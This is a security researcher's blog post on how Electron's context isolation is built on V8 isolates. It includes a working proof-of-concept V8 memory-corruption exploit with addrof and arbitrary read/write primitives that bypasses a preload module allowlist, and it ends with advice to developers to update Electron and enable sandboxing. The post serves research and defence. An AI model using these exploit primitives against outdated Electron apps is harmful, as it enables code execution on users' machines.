Mind the v8 patch gap: Electron's Context Isolation is insecure

TL;DR

As I was working on the script for my Discord RCE video, I took another look at Electron security and noticed that a lot of apps don’t fully understand how context isolation works and potential vulnerabilities in context isolation, especially if they’re not regularly updating Electron. I came across a few apps where, with a V8 exploit, you can actually bypass context isolation and access dangerous APIs within the isolated context, APIs that normally wouldn’t be accessible from the main context. In this post, I want to share some insights for both bug hunters and developers on issues they might find around context isolation.

Chrome isolates: How context isolation works

From Electron documentation, it states context isolation as

  • Context Isolation is a feature that ensures that both your preload scripts and Electron’s internal logic run in a separate context to the website you load in a webContents. This is important for security purposes as it helps prevent the website from accessing Electron internals or the powerful APIs your preload script has access to.

  • This means that the window object that your preload script has access to is actually a different object than the website would have access to. For example, if you set window.hello = ‘wave’ in your preload script and context isolation is enabled, window.hello will be undefined if the website tries to access it.

The architecture looks as below.

ciso

Example

Let’s assume a basic Electron app that loads an external page, https://ctf.s1r1us.ninja/jsbin.html. Here’s how we can use context isolation to protect against unauthorized access to Electron’s internal APIs or any sensitive functionality.

main.js

 1const { app, BrowserWindow } = require('electron');
 2const path = require('path');
 3
 4function createWindow() {
 5  const win = new BrowserWindow({
 6    width: 800,
 7    height: 600,
 8    webPreferences: {
 9      preload: path.join(__dirname, 'preload.js'),
10      contextcontextIsolation: true, // Enable context isolation
11      nodeIntegration: false // Disable Node.js integration in renderer
12    }
13  });
14
15  win.loadURL('https://ctf.s1r1us.ninja/jsbin.html');//[1]
16}
17
18app.whenReady().then(createWindow);
19
20app.on('window-all-closed', () => {
21  if (process.platform !== 'darwin') app.quit();
22});
23
24app.on('activate', () => {
25  if (BrowserWindow.getAllWindows().length === 0) createWindow();
26});

Here’s what each setting does:

  • nodeIntegration: false prevents the webpage from directly accessing Node.js APIs, reducing the risk of system access.
  • contextIsolation: true ensures that Electron’s internals and any APIs defined in preload scripts remain isolated from the external webpage.

Now, Let’s say we want to give https://ctf.s1r1us.ninja access to a restricted set of modules, but without compromising security. We can achieve this by defining a safeRequire function in our preload script. This function will only allow access to modules with specific names, ensuring that ctf.s1r1us.ninja can’t load unauthorized modules or perform unsafe operations like require('child_process').exec('calc');.

preload.js

 1const { contextBridge } = require('electron');
 2
 3function safeRequire(name) {
 4 var regexp = /^only_allow_this_module_[a-z0-9_-]+$/;
 5 if (!regexp.test(name)) { // only allow specific modules starting with a vlaue
 6   throw new Error(`"${String(name)}" is not allowed`);
 7 }
 8 return require(name);
 9}
10
11contextBridge.exposeInMainWorld('secureAPI', {
12 safeRequire: (name) => safeRequire(name)
13});

This preload script uses contextBridge.exposeInMainWorld to safely expose safeRequire as window.secureAPI.safeRequire in the renderer. Now, the webpage can only load modules whose names start with only_allow_this_module_, ensuring that access is tightly controlled.

And In https://ctf.s1r1us.ninja/jsbin.html, we can safely use window.secureAPI.safeRequire to load only the allowed modules:

ctf.s1r1us.ninja/jsbin.html

 1  <script>
 2    document.getElementById('loadModuleButton').addEventListener('click', () => {
 3      try {
 4        const module = window.secureAPI.safeRequire('only_allow_this_module_safe-module');
 5        console.log('Loaded module:', module);
 6      } catch (error) {
 7        console.error('Error loading module:', error.message);
 8      }
 9    });
10  </script>

How electron implemented context isolation?

Electron leverages V8 isolates to create a secure execution environment within each renderer process, preventing web content(ctf.s1r1us.ninja) from directly accessing Electron or Node.js APIs (in preload.js). It is similar to how extensions work and cloudflare’s webworkers work.

The source code of it implemenation can be found here. https://github.com/electron/electron/blob/main/shell/renderer/api/electron_api_context_bridge.cc

The minimal version looks as below(unsnipped version), you can compile and play around with it.

$ clang++ hello_world.cc -I. -Iinclude -Lout.gn/main.release/obj -lv8_monolith -o hello_world -std=c++17 -stdlib=libc++ -DV8_COMPRESS_POINTERS -target arm64-apple-macos11 -lpthread&& ./hello_world

  1#include <libplatform/libplatform.h>
  2#include <v8.h>
  3
  4#include <iostream>
  5
  6namespace my_bridge {
  7
  8const int kMaxRecursion = 1000;
  9
 10bool DeepFreeze(const v8::Local<v8::Object>& object,
 11                v8::Local<v8::Context> context) {
 12 [...]
 13  }
 14  return object->SetIntegrityLevel(context, v8::IntegrityLevel::kFrozen)
 15      .ToChecked();
 16}
 17
 18v8::MaybeLocal<v8::Value> PassValueToOtherContext(
 19    v8::Local<v8::Context> source_context,
 20    v8::Local<v8::Context> destination_context, v8::Local<v8::Value> value) { //PassValueToOtherContext
 21  v8::Context::Scope destination_scope(destination_context);
 22[...]
 23
 24  if (value->IsObject()) {
 25    v8::Local<v8::Object> obj = value.As<v8::Object>();
 26    DeepFreeze(obj, destination_context);
 27    return obj;
 28  }
 29
 30  return v8::MaybeLocal<v8::Value>(value);
 31}
 32
 33void ExposeInMainWorld(v8::Isolate* isolate,
 34                       v8::Local<v8::Context> main_context,
 35                       v8::Local<v8::Object> object, const std::string& name) {
 36  v8::Context::Scope main_scope(main_context);
 37  main_context->Global()
 38      ->Set(main_context,
 39            v8::String::NewFromUtf8(isolate, name.c_str()).ToLocalChecked(),
 40            object)
 41      .Check();
 42}
 43void InitializeContextBridge(v8::Isolate* isolate) {
 44  v8::HandleScope handle_scope(isolate);
 45
 46  auto main_context = v8::Context::New(isolate); // [1]
 47  SetUpConsole(isolate, main_context);
 48  v8::Global<v8::Context> main_context_global(isolate, main_context);
 49  isolate->SetData(0, &main_context_global);
 50
 51  auto isolated_context = v8::Context::New(isolate); // [2]
 52  SetUpConsole(isolate, isolated_context);
 53  v8::Context::Scope isolated_scope(isolated_context);
 54
 55  isolated_context->Global()
 56      ->Set(isolated_context,
 57            v8::String::NewFromUtf8(isolate, "ExposeInMainWorld") //[3] contextbridge.ExposeInMainWorld
 58                .ToLocalChecked(),
 59            v8::Function::New(
 60                isolated_context,
 61                [](const v8::FunctionCallbackInfo<v8::Value>& args) {
 62                  if (args.Length() < 2 || !args[0]->IsString() ||
 63                      !args[1]->IsObject()) {
 64                    args.GetIsolate()->ThrowException(
 65                        v8::String::NewFromUtf8(args.GetIsolate(),
 66                                                "Invalid arguments")
 67                            .ToLocalChecked());
 68                    return;
 69                  }
 70
 71                  v8::Isolate* isolate = args.GetIsolate();
 72                  v8::String::Utf8Value name(isolate, args[0]);
 73                  v8::Local<v8::Object> object = args[1].As<v8::Object>();
 74                  v8::Local<v8::Context> main_context =
 75                      v8::Local<v8::Context>::New(
 76                          isolate, *static_cast<v8::Global<v8::Context>*>(
 77                                       isolate->GetData(0)));
 78                  my_bridge::ExposeInMainWorld(isolate, main_context, object,
 79                                               *name);
 80                })
 81                .ToLocalChecked())
 82      .Check();
 83
 84  const char* isolated_code = R"(
 85        console.log("In Isolated Context:");
 86        var regexp = /^only_allow_this_[a-z0-9_-]+$/;
 87        %DebugPrint(regexp);
 88        %DebugPrint(regexp.source);
 89        function requireModule(name) {
 90             if (regexp.test(name) ) {
 91                  return false;
 92              }
 93              return true;
 94        }
 95        const myObject = { name: "isolated_object", requireModule:requireModule}
 96        ExposeInMainWorld("exposedObject", myObject); //[3]
 97        %DebugPrint(myObject); 
 98    
 99    )"; //preload.js
100  v8::Local<v8::String> source =
101      v8::String::NewFromUtf8(isolate, isolated_code).ToLocalChecked();
102  v8::Local<v8::Script> script;
103  if (!v8::Script::Compile(isolated_context, source).ToLocal(&script)) {
104    std::cerr << "Failed to compile isolated context script." << std::endl;
105    return;
106  }
107  script->Run(isolated_context).ToLocalChecked();
108
109  const char* main_code = R"( 
110        console.log("In Main Context:");
111      
112   %DebugPrint(exposedObject); 
113    console.log(exposedObject.requireModule('test'));    
114
115    )"; //ctf.s1r1us.ninja
116  v8::Local<v8::String> main_source =
117      v8::String::NewFromUtf8(isolate, main_code).ToLocalChecked();
118  v8::Local<v8::Script> main_script;
119  if (!v8::Script::Compile(main_context, main_source).ToLocal(&main_script)) {
120    std::cerr << "Failed to compile main context script." << std::endl;
121    return;
122  }
123  main_script->Run(main_context).ToLocalChecked();
124}
125
126int main(int argc, char* argv[]) {
127[...]
128  v8::V8::Initialize();
129
130  v8::Isolate::CreateParams create_params;
131  create_params.array_buffer_allocator =
132      v8::ArrayBuffer::Allocator::NewDefaultAllocator();
133  v8::Isolate* isolate = v8::Isolate::New(create_params);
134
135  {
136    v8::Isolate::Scope isolate_scope(isolate);
137    InitializeContextBridge(isolate);
138  }
139
140 [...]
141}

Electron defines two distinct JavaScript environments—a main context[1] and an isolated context—using[2] V8’s isolate mechanism. The isolated context cannot directly access objects or functions from the main context, thus preserving security boundaries. However, a function (ExposeInMainWorld)[3] is defined to expose specific objects from the isolated context to the main context in a controlled manner using PassValueToOtherContext[4].

Few important things to note here

  • V8 isolates act as self-contained JavaScript environments, ensuring that code within each isolate can only access its own memory and resources.
  • By separating the JavaScript context of the renderer from the context of Electron internals, context isolation protects against potentially dangerous code from accessing restricted APIs.
  • Although isolates create a barrier, Electron provides a secure way to share specific APIs between the isolated renderer and main process using ContextBridge. The ContextBridge allows carefully controlled access to selected functions and data by exposing APIs in a way that maintains isolation, allowing only pre-defined, safe interactions.

So far so good! What’s wrong with it tho?

Although V8 isolates separate JavaScript contexts to prevent direct access across them, a memory corruption bug—like the common Type Confusion, can potentially allow one context to access or manipulate the memory of another. This essentially can be used to bypass Electron’s context isolation. This is a known risk not only in Electron(but it seems most apps are not aware) but also in environments like Cloudflare Workers, which uses V8 isolates for multi-tenant isolation. Cloudflare’s threat model doc addresses this risk with an impressive 24-hour patch gap, ensuring V8 bugs are swiftly patched. Electron also patches V8 vulnerabilities as soon as they’re available.

However, there’s a catch: while Electron releases new versions promptly, desktop applications often way behind in updating their Electron versions. In our previous Electrovolt research, we exploited this patch gap in numerous applications, revealing how outdated Electron versions leave popular desktop apps open to compromise. You can check it out in detail here.

But it is still the case. Just Open any Electron app, go to the devtools, and run navigator.userAgent. Chances are, it’s running a much older version of Chromium.

Context Isolation Bypass via V8 Exploit

For a proof of concept, I created this code that bypasses context isolation using an old V8 exploit. In the example, I modify the source property of var regexp = /^only_allow_this_module_[a-z0-9_-]+$/; to arbitrary values using memory corruption bug, essentially bypassing the regular expression checks and enabling access to otherwise restricted modules. This example demonstrates how a memory corruption bug in V8 can be used to circumvent context isolation and execute unintended code.

  1  const char* isolated_code = R"(
  2        console.log("In Isolated Context:");
  3        var regexp = /^only_allow_this_module_[a-z0-9_-]+$/;
  4        %DebugPrint(regexp);
  5        %DebugPrint(regexp.source);
  6        function requireModule(name) {
  7             if (regexp.test(name) && name !== 'erlpack') {
  8                  return false;
  9              }
 10              return true;
 11        }
 12        const myObject = { name: "isolated_object", requireModule:requireModule}
 13        ExposeInMainWorld("exposedObject", myObject);
 14        %DebugPrint(myObject); 
 15    
 16    )";
 17  v8::Local<v8::String> source =
 18      v8::String::NewFromUtf8(isolate, isolated_code).ToLocalChecked();
 19  v8::Local<v8::Script> script;
 20  if (!v8::Script::Compile(isolated_context, source).ToLocal(&script)) {
 21    std::cerr << "Failed to compile isolated context script." << std::endl;
 22    return;
 23  }
 24  script->Run(isolated_context).ToLocalChecked();
 25
 26  const char* main_code = R"(
 27        console.log("In Main Context:");
 28        let conversion_buffer = new ArrayBuffer(8);
 29        let float_view = new Float64Array(conversion_buffer);
 30        let int_view = new BigUint64Array(conversion_buffer);
 31          BigInt.prototype.hex = function() {
 32            return '0x' + this.toString(16);
 33      };
 34      BigInt.prototype.i2f = function() {
 35          int_view[0] = this;
 36          return float_view[0];
 37      }
 38      Number.prototype.f2i = function() {
 39          float_view[0] = this;
 40          return int_view[0];
 41      }
 42      function gc() {
 43      for(let i=0; i<((1024 * 1024)/0x10); i++) {
 44        var a = new String();
 45      }
 46      }
 47     
 48
 49         function f(a) {
 50            let x = -1; 
 51            if (a) x = 0xFFFFFFFF;
 52            let oob_smi = new Array(Math.sign(0 - Math.max(0, x, -1)));
 53            oob_smi.pop();
 54            let oob_double = [3.14, 3.14];
 55            let arr_addrof = [{}];
 56            let aar_double = [2.17, 2.17];
 57            let www_double = new Float64Array(0x20);
 58            return [oob_smi, oob_double, arr_addrof, aar_double, www_double];
 59        }
 60  //  gc();
 61console.log(11)
 62    for (var i = 0; i < 0x10000; ++i) {
 63        f(false);
 64    }
 65    let [oob_smi, oob_double, arr_addrof, aar_double, www_double] = f(true);
 66    console.log("[+] oob_smi.length = " + oob_smi.length);
 67    oob_smi[14] = 0x1234;
 68    console.log("[+] oob_double.length = " + oob_double.length);
 69    let primitive = {
 70        addrof: (obj) => {
 71            arr_addrof[0] = obj;
 72            return (oob_double[8].f2i() >> 32n) - 1n;
 73        },
 74        half_aar64: (addr) => {
 75            oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n)
 76                              | ((addr - 0x8n) | 1n)).i2f();
 77            return aar_double[0].f2i();
 78        },
 79        half_aaw64: (addr, value) => {
 80            oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n)
 81                              | ((addr - 0x8n) | 1n)).i2f();
 82            aar_double[0] = value.i2f(); // Writes `value` at `addr
 83        },
 84        full_aaw: (addr, values) => {
 85            let offset = -1;
 86            for (let i = 0; i < 0x100; i++) {
 87                if (oob_double[i].f2i() == 8n*0x20n
 88                    && oob_double[i+1].f2i() == 0x20n) {
 89                    offset = i+2;
 90                    break;
 91                }
 92            }
 93            if (offset == -1) {
 94                console.log("[-] Bad luck!");
 95                return;
 96            } else {
 97                console.log("[+] offset = " + offset);
 98            }
 99            oob_double[offset] = addr.i2f();
100            for (let i = 0; i < values.length; i++) {
101                console.log(i, www_double[i].f2i().hex(), values[i].f2i().hex());
102                www_double[i] = values[i];
103            }
104        }
105    };
106    
107    exp_addrof = primitive.addrof(exposedObject);
108    console.log(exp_addrof.hex());    
109    exp_r = primitive.half_aar64(exp_addrof)
110console.log(111)
111    source_addrof = (exp_r &0xffffffffn) + 353016n;
112    console.log("[+] source_addrof : " +source_addrof.hex());
113    
114
115    regexp_source = primitive.half_aar64(source_addrof+8n+4n);
116    console.log("[+] regexp_source_str: "+regexp_source.hex());
117
118     primitive.full_aaw(0x16bf081dee29n+8n, 0x64726f6373696444n);
119     regexp_source = primitive.half_aar64(source_addrof+8n+4n);
120    console.log("[+] after regexp_source_str: "+regexp_source.hex());
121
122   %DebugPrint(exposedObject); 
123    console.log(exposedObject.requireModule('erlpack'));    
124
125    )";

PassValueToOtherContext for bug hunters

This is not a issue, but a pointer to bug hunters for to find some interesting context isolation bypass, PassValueToOtherContext is particularly interesting function, it passes objects from isolated cotnext to main context, if not implemented correctly or missed some behaviour this would allow leaking isolated context objects or fucntions to main cotnext. few example cve a. CVE-2023-29198 Error thrown in isolated context leaked to main allows bypass. Diff here b. 3 more context isolation bypass via leaked objects in main context here

To Developers of Electron Applications

Update Electron Promptly: Always update Electron to the latest version as soon as it’s available. This minimizes the risk from any recently patched vulnerabilities in V8 and Electron. Regular updates are crucial to maintaining the security of your application.

Enable Sandboxing: Use Electron’s sandboxing feature to further reduce the attack surface. By isolating renderer processes, sandboxing adds an extra layer of security that helps contain potential exploits, even in the presence of vulnerabilities.